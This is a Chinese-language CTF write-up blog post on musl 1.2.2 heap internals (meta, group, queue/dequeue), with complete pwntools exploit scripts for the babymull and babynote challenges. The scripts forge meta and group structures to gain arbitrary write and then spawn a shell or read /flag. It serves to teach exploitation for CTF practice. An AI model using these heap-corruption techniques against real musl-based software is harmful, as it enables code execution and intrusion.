musl 1.2.2的两道pwn题

musl 1.2.2堆的内存管理与以前学的glibc完全不同,是将一块连续的内存划分为相同的大小的chunk(有点像slab),再去由group、meta、malloc_context这些结构体逐级去管理,推荐大家多看几遍0xRGz师傅的musl源码解析文章,这里主要写的是自己在复现musl pwn题中所学到的一些细节。

前置要点

分配策略

需要记住的是刚释放的chunk不会被立刻使用

  • 在同一的group中,如果avail_mask不为0,如果释放一个该group中的chunk,接下来申请chunk也只会优先申请那些被avail_mask标识的,而不会去使用刚释放的;
  • 如果avail_mask 为0,就会去找meta->next所指向的meta,调用activate_group函数更新下一个meta的avail_mask,接着去使用下一个meta中的chunk,同时将下一个meta更新为链表头。

dequeue

1
2
3
4
5
6
7
8
9
10
11
static inline void dequeue(struct meta **phead, struct meta *m)
{
if (m->next != m) {
m->prev->next = m->next;
m->next->prev = m->prev;
if (*phead == m) *phead = m->next;
} else {
*phead = 0;
}
m->prev = m->next = 0;
}

dequeue 触发条件:

  • avail_mask 表示只有一个chunk 被使用 ,freed_mask = 0,而free刚好要free 一个chunk;

  • avail_mask = 0, freed_mask表示只有1个 chunk没被释放,这时释放的chunk就是最后一个chunk;

  • avail_mask = 0, freed_mask = 0,且继续申请该大小的chunk,这时就会unlink此meta,使用新的meta分配。

queue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static inline void queue(struct meta **phead, struct meta *m)
{
assert(!m->next);
assert(!m->prev);
if (*phead) {
struct meta *head = *phead;
m->next = head;
m->prev = head->prev;
m->next->prev = m->prev->next = m;
} else {
m->prev = m->next = m;
*phead = m;
}
}

queue 触发条件:

avail_mask = 0, freed_mask = 0,释放其中的一个chunk(当然该meta已经是dequeue的)。

祥云杯2021 babymull

这里是直接参考的这篇wp

最主要的就是通过后门函数去泄漏malloc_context的secret,修改chunk的offset,让其找到伪造的group,再通过伪造的group找到伪造的meta,queue伪造的meta,最后修改伪造的meta->mem地址,实现任意地址写。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import*
elf = ELF('babymull')
libc = elf.libc
p = process('./babymull')
context.log_level = 'debug'
context.arch = 'amd64'

def add(size, content, name = b'a'):
p.sendlineafter(b'>>', b'1')
p.sendafter(b'Name:', name)
p.sendlineafter(b'Size:', str(size).encode())
p.sendafter(b'Content:', content)
def delete(index):
p.sendlineafter(b'>>', b'2')
p.sendlineafter(b'Index:', str(index).encode())
def show(index):
p.sendlineafter(b'>>', b'3')
p.sendlineafter(b'Index:', str(index).encode())

def gift(set_null, leak):
p.sendlineafter(b">>", str(0x73317331).encode())
p.sendline(str(set_null).encode())
p.sendline(str(leak).encode())


for i in range(5):
add(0x20, b'a' * 0x10 + b'\n')

delete(0)
add(0x1000, b'\n')
add(0x1000, b'\x00' * 0x238 + p32(5) + b'\n', b'a' * 0xf)
show(5)
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = leak + 0x2aa0

mmap_addr = libc_base - 0x4000
stdin = libc_base + libc.sym['__stdin_FILE']
stdout = libc_base + libc.sym['__stdout_FILE']
malloc_context = libc_base + libc.sym['__malloc_context']
gadget = libc_base + 0x4bcf3
pop_rdi_ret = libc_base + 0x15536
pop_rsi_ret = libc_base + 0x1b3a9
pop_rdx_ret = libc_base + 0x177c7
ret = pop_rdi_ret + 1
print(hex(libc_base))

gift(leak - 8 + 6, malloc_context)
p.recvuntil(b'0x')
secret = int(p.recv(16), 16)

delete(0)
fake_meta = mmap_addr + 0x1000 + 8
fake_group = mmap_addr + 0x550

payload = b'\x00' * 0x520 + p64(fake_meta)
payload = payload.ljust(0xfd0, b'\x00')
payload += p64(secret)
payload += p64(0) + p64(0)
payload += p64(fake_group)
payload += p64(0)
payload += p64((24 << 6) + 1)
add(0x1000, payload)
delete(5)

delete(0)
payload = b'\x00' * 0xfc0 + p64(secret) + p64(mmap_addr + 0x1008) * 2 + p64(stdout - 0x20) + p64(3) + p64((24 << 6) + 1)
add(0x1000, payload + b'\n')

libc.address = libc_base
payload = flat([
pop_rdi_ret, mmap_addr + 0x2000,
pop_rsi_ret, 0x1000,
pop_rdx_ret, 7,
libc.sym['mprotect'],
mmap_addr + 0x2aa0 + 0x40
])
payload += asm(shellcraft.open('/flag') + shellcraft.read('rax', mmap_addr, 0x30) + shellcraft.write(1, mmap_addr, 0x30))
add(0x1000, payload + b'\n')

payload = p64(0) * 4 + p64(1) + p64(1) + p64(mmap_addr + 0x2aa0) + p64(ret) + p64(0) + p64(gadget) + b'\n'
p.sendlineafter(b'>>', b'1')
p.sendafter(b'Name:', b'a')
p.sendlineafter(b'Size:', str(0x800).encode())

#gdb.attach(p)
#pause()
p.sendafter(b'Content:', payload)
#pause()
p.interactive()

这里引用另一个师傅的文章关于此题的疑问,自己复现时也有过同样的疑问

疑问1:可以直接申请到stdout_FILE是因为avail_mask设置为2,其表示的是第一个chunk已经被标识为不可分配,第二个chunk则是可以分配,所以就直接越过中间0x940,分配第二个chunk;如果avail_mask设置为3或者1,则就可以正常从头开始分配

疑问2:是绕过free的检查,更详细点就是get_nominal_size函数中关于chunk边界的检查

*CTF2022 babynote

这里是参考xyzmpv师傅的wp

具体细节就不再赘述,需要注意在calloc函数中使用malloc分配内存后会继续调用is_allzero函数,而在is_allzero函数中又存在get_meta函数去检查所分配的内存块,需要先dequeue去将目标内存的group改为正确的内存地址,之后才能正常分配目标地址。

利用dequeue去攻击,除了伪造prev,、next、avail_mask、 freed_mask这些值,freeable和maplen也不能忽视

只有freeable = 1时,meta才能被dequeue。

当maplen = 0时,说明group不是新mmap 出来的,而是使用其他meta里的group;使用最简单的代码就能证明这一点:

1
2
3
4
5
6
7
#include <stdio.h>
#include <stdlib.h>

int main(){
int *p = malloc(0x20);
free(p);
}

在malloc(0x20)之前是没有相应0x30大小的group

在malloc后可以观察到active[2]的group实际上是直接从active[15]中分配的chunk

而在利用dequeue去攻击时,如果设置maplen为0,在dequeue之后就会调用free_group函数,然后就使用get_meta对伪造的group还要做一系列检查,最后再去调用nontrivial_free函数,这就对伪造的group和meta有更多的要求,引起不必要的麻烦。

由于自己本地使用的是musl_1.2.2-4,对这道题给的libc无法正常使用带符号调试(也不确定是不是这个原因导致的),为了方便自己做题就直接拿本地的libc去做了,下面exp仅供参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import*
elf = ELF('babynote')
libc = elf.libc
p = process('./babynote')
context.log_level = 'debug'

def add(size0, content0, size1, content1):
p.sendlineafter(b'option:', b'1')
p.sendlineafter(b'size:', str(size0).encode())
p.sendafter(b'name:', content0)
p.sendlineafter(b'size:', str(size1).encode())
p.sendafter(b'content:', content1)
def find(size, content):
p.sendlineafter(b'option:', b'2')
p.sendlineafter(b'size:', str(size).encode())
p.sendafter(b'name:', content)
def delete(size, content):
p.sendlineafter(b'option:', b'3')
p.sendlineafter(b'size:', str(size).encode())
p.sendafter(b'name:', content)

#由于本地的group没有在libc附近的,所以事先分配大量的chunk,让group分配到libc附近
for _ in range(10):
add(0x200, b'aaaaaaaa\n', 0x200, b'a\n')

add(0x38, b'a' * 0x38, 0x38, b'a' * 0x38)
p.sendlineafter(b'option:', b'4')

for _ in range(8):
find(0x20, b'a\n')

add(0x38, b'b' * 0x38, 0x28, b'b' * 0x28)
add(0x38, b'c' * 0x38, 0x38, b'c' * 0x38)
delete(0x38, b'b' * 0x38)
for _ in range(6):
find(0x20, b'a\n')
add(0x38, b'd' * 0x38, 0x200, b'd\n')
find(0x38, b'b' * 0x38)
p.recvuntil(b'0x28:')

elf_base = 0
for i in range(8):
elf_base += int(p.recv(2), 16) << (i * 8)
elf_base -= 0x7d10
libc_base = 0
for i in range(8):
libc_base += int(p.recv(2), 16) << (i * 8)
libc_base += 0x1d90
stdin = libc_base + 0xad180
stdout = stdin + 0x100
sys_addr = libc_base + libc.sym['system']
malloc_context = libc_base + 0xad9c0
# print(hex(elf_base))
# print(hex(libc_base))

for _ in range(6):
find(0x20, b'a\n')

payload = p64(elf_base + 0x4fc0) + p64(malloc_context) + p64(0x38) + p64(0x28)
find(0x20, payload)
find(0x38, b'b' * 0x38)
p.recvuntil(b'0x28:')
secret = 0
for i in range(8):
secret += int(p.recv(2), 16) << (i * 8)

heap_addr = libc_base - 0x6000
fake_meta = heap_addr + 0x1008
fake_group = heap_addr + 0x1040

#这里是伪造meta,然后先让其queue
last_idx, freeable, sc, maplen = 0, 1, 8, 1
payload = b'\x00' * (0x1000 - 0x40)
payload += p64(secret) + p64(0) + p64(0) + p64(fake_group) + p64(0)
payload += p64((sc << 6) + 1) + p64(0) + p64(0)
payload += p64(fake_meta) + p32(1) + p32(0)
add(0x20, b'e' * 0x20, 0x1200, payload + b'\n')

for _ in range(3):
find(0x20, b'a' * 0x20)

payload = p64(elf_base + 0x5fc0) + p64(fake_group + 0x10) + p64(0x38) + p64(0x28)
add(0x38, b'f' * 0x38, 0x20, payload)
delete(0x38, b'a' * 0x38)

#伪造的另一个meta,在dequeue后让其成为链表头,以后直接分配目标地址
payload = b'\x00' * (0x1000 - 0x580) + p64(secret) + p64(0) * 2 + p64(stdin - 0x10)
payload += p32(0) + p32(3) + p64((sc << 6) + 1) + p64(0) + p64(0)
add(0x38, b'g' * 0x38, 0x1200, payload + b'\n')
delete(0x20, b'e' * 0x20)

#利用先前伪造的meta已经queue,再去修改prev和next,然后利用dequeue攻击
payload = b'\x00' * (0x1000 - 0x50)
payload += p64(secret) + p64(stdin - 0x18) + p64(heap_addr + 0x2008) + p64(fake_group) + p32(2) + p32(0)
payload += p64((1 << 12)|(sc << 6)| (1 << 5) | 1) + p64(fake_group - 0x10) + p64(0)
payload += p64(fake_meta) + p32(1) + p32(0)
find(0x1200, payload + b'\n')

payload = p64(elf_base + 0x6fb0) + p64(fake_group + 0x10) + p64(0x38) + p64(0x28)
add(0x38, b'h' * 0x38, 0x20, payload)

delete(0x38, b'a' * 0x38)

payload = b'/bin/sh\x00' + p64(0) * 6 + p64(1) + p64(0) + p64(sys_addr)

add(0x38, b'a' * 0x38, 0x80, payload + b'\n')

p.sendlineafter(b'option:', b'5')
p.interactive()

参考:https://bbs.kanxue.com/thread-269533-1.htm#msg_header_h3_8

https://blog.csdn.net/weixin_45209963/article/details/124423573


musl 1.2.2的两道pwn题
https://xtxtn.github.io/2023/04/04/musl-pwn/
作者
xtxtn
发布于
2023年4月4日
更新于
2023年4月5日
许可协议